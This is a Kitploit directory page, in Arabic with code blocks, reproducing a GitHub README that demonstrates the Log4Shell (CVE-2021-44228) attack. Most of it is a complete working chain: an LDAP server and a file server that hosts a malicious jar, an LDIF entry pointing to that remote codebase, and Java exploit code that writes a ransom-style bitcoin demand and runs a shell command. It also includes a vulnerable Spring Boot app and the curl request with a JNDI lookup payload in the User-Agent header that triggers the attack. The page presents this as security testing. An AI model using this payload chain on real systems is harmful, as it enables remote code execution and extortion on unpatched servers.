Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/bumheehan/cve-2021-44228-log4j-test
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتحليل البرمجيات الخبيثةالتعلم والتعليمتطوير الحمولات
GitHubbumheehan/cve-2021-44228-log4j-test

cve-2021-44228-log4j-test

يوضح استغلال Log4Shell (CVE-2021-44228) مع خادم LDAP وحمولة JNDI ضارة وتطبيق Spring Boot ضعيف لاختبار الأمان.

عرض المستودع
1منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

cve-2021-44228-log4j-test

اختبار

1. خادم LDAP وخادم تنزيل ملف الاختراق

1.1 تشغيل Docker-compose

  • docker-compose.yml

    root@kitploit:~
    version: '2'
    services:
      dockerdj:
        image: openidentityplatform/opendj:latest
        container_name: ldap
        environment:
          ROOT_USER_DN: "cn=han"
          ROOT_PASSWORD: "han"
          BASE_DN: "dc=bumbing,dc=xyz"
        ports:
          - "389:1389"
          - "636:1636"
          - "4444:4444"
        volumes:
          - "./opendj/logs:/opt/opendj/data/logs"
      nginx:
        image: nginx:latest
        container_name: nginx
        ports:
          - "7080:80"
        volumes:
          - "./file:/usr/share/nginx/html:ro"
          - "./conf/nginx.conf:/etc/nginx/nginx.conf"
    
  • تشغيل docker-compose

    root@kitploit:~
    docker-compose up -d
    

1.2. إضافة Ldif

  • add.ldif

    root@kitploit:~
    version: 1
    
    dn: dc=bumbing,dc=xyz
    objectClass: domain
    objectClass: top
    dc: bumbing
    
    dn: cn=log4j,dc=bumbing,dc=xyz
    objectClass: javaContainer
    objectClass: javaNamingReference
    objectClass: javaObject
    objectClass: top
    cn: class
    javaClassName: xyz.bumbing.log4j.Exploit
    javaCodebase: http://{fileServer}:7080/exploit-1.jar
    javaFactory: xyz.bumbing.log4j.Exploit
    
  • أمر إضافة Entry الذي يحتوي على معلومات ملف الاختراق

    root@kitploit:~
    ldapadd -D "cn=han" -w han -H ldap://{ldapServer} -f add.ldif
    
  • اختبار ldap (ترتيب المعاملات مهم)

    root@kitploit:~
    curl ldap://{ldapServer}/cn=log4j,dc=bumbing,dc=xyz
    

2. الملف الخبيث

  • تم اكتشاف الثغرة في الإصدارات السابقة لـ Java 8u191، ويجب البناء باستخدام Java 8

2.1 بناء الملف الخبيث

  • الكود الخبيث (يمكن إضافة أمر لتنزيل ملفات خبيثة أخرى.)

    root@kitploit:~
    	public class Exploit implements javax.naming.spi.ObjectFactory{
            @Override
            public Object getObjectInstance(Object o, Name name, Context context, Hashtable<?, ?> hashtable) throws Exception {
        
                try {
                    new File("/Users//test").createNewFile();
                    String msg = "your computer has our virus. if you want to recover your computer, send bitcoin our wallet";
                    FileOutputStream fileOutputSteam = new FileOutputStream(new File("/Users/hanbeomhee/test"));
                    StringBuilder sb = new StringBuilder();
                    sb.append(o.toString()).append("\n");
                    sb.append(name).append("\n");
                    sb.append(msg);
                    fileOutputSteam.write(sb.toString().getBytes(StandardCharsets.UTF_8));
                    fileOutputSteam.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
    						Runtime.getRuntime().exec("open /Users//test");
                return null;
            }
        
        }
    
  • أمر البناء

    root@kitploit:~
    ./gradlew clean build
    
  • إذا لم يكن الخادم محليًا، ارفع ملف exploit-1.jar في مجلد docker/file على خادم الملفات

  • تحقق من تنزيل http://{fileServer}:7080/exploit-1.jar

3. تشغيل الخادم المُصاب بالثغرة

  • بنية Gradle

    root@kitploit:~
    plugins {
        	id 'org.springframework.boot' version '2.6.1'
        	id 'io.spring.dependency-management' version '1.0.11.RELEASE'
        	id 'java'
        }
        
        group = 'xyz.bumbing'
        version = '0.0.1-SNAPSHOT'
        sourceCompatibility = '8'
        
        configurations {
        	compileOnly {
        		extendsFrom annotationProcessor
        	}
        }
        
        repositories {
        	mavenCentral()
        }
        
        dependencies {
        	implementation 'org.springframework.boot:spring-boot-starter-web'
        	compileOnly 'org.projectlombok:lombok'
        	annotationProcessor 'org.projectlombok:lombok'
        	testImplementation 'org.springframework.boot:spring-boot-starter-test'
        	implementation "org.springframework.boot:spring-boot-starter-log4j2"
        	modules {
        		module("org.springframework.boot:spring-boot-starter-logging") {
        			replacedBy("org.springframework.boot:spring-boot-starter-log4j2", "Use Log4j2 instead of Logback")
        		}
        	}
        }
        
        test {
        	useJUnitPlatform()
        }
    
    • تحقق من إصدار log4j 14.1 في dependency
  • كود الخادم

    root@kitploit:~
    @SpringBootApplication
    @RestController
    @Slf4j
    public class Log4jtestApplication {
    
    	public static void main(String[] args) {
    		SpringApplication.run(Log4jtestApplication.class, args);
    	}
    
    	@GetMapping("/log4j")
    	public void test(String param, HttpServletRequest request){
    		log.info(request.getHeader("User-Agent"));
    	}
    }
    
  • أمر التشغيل (يجب البناء والتشغيل بإصدار سابق لإصدار 8u191)

    root@kitploit:~
    java -jar build/libs/log4jtest-0.0.1-SNAPSHOT.jar
    

4. التنفيذ

4.1 التنفيذ

root@kitploit:~
curl --location --request GET 'localhost:8080/log4j' \
--header 'User-Agent: ${jndi:ldap://localhost/cn=log4j,dc=bumbing,dc=xyz}'
تنزيل الأداة